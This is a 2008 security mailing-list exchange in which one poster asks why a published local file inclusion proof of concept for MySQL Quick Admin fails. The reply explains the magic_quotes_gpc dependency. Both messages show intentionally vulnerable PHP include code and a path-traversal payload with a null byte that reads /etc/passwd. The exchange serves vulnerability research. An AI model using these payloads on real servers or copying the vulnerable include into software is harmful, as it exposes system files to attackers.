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Re: Doubt in MySQL Quick Admin <= 1.5.5 (COOKIE) Local File Inclusion Vulnerability POC posted on milworm


From: g30rg3_x <g30rg3x () gmail com>
Date: Fri, 17 Oct 2008 11:30:38 -0500

Hi,

It will only work if php have magic_quotes_gpc off...
For testing/research purpose you can emulated that enviroment using
stripslashes in your vuln code:
<?php
include("lang/".stripslashes($_GET[filename])."/lang.php");
?>

And then call for the LFI
GET /vulnerable php?filename=../../../../../../../../../../etc/passwd%00

Reference: http://www.php.net/manual/en/info.configuration.php#ini.magic-quotes-gpc

Regards

2008/10/17 <vinodsharma.mimit () gmail com>

Greetings All,


I am trying to reproduce the issue, but php is reporting some error:
like fail to open lang/../../../../../../../../../../etc/passwd%00; path=//lang.php.

vulnerable code is:

include("lang/".$_SESSION['language']."/lang.php");

exploit is: ../../../../../../../../../../etc/passwd%00; path=/ as the value of vulnerable paramter.

exploit link is:http://milw0rm.com/exploits/6641

After observing this error i thought there must some issue with the application, so created a vulnerable php program 
whose details are:


<?php

include("lang/".$_GET[filename]."/lang.php");

?>


Then i send a GET a request:

GET /vulnerable php?filename=lang/../../../../../../../../../../etc/passwd%00; path=/

still, i am observing same error.

This is happening because inside include function, there is an additon of  /lang.php after the vulnerable parameter 
value in both case.

I am not able to understand how the author manage to view the contents of /etc/passwd by this method.

please help me out.

Thanks in advance.
-- 
_________________________
             g30rg3_x


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